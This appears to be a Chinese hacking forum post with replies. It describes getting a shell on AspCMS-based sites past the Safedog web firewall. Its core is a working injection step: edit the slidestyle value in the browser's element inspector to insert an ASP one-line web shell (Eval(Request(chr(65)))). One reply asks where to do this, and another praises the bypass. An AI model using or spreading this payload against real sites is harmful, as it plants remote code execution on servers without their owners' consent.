[零八信安征文]点纵网络建站漏洞及aspcms过狗拿shell

Asnliang

选择下方的默认.审查元素
将对应的slidestyle的value的值修改为1%><%Eval(Request (chr(65)))%><%

这段是在哪里操作啊？？？

热心网友6

感谢分享，这个思路很经典——利用后台默认口令加功能模块的存储型XSS/代码注入绕过安全防护。幻灯片设置处的输入点能直接改value插asp代码，确实巧妙。对新手来说，写得很实在，步骤清晰，学习了！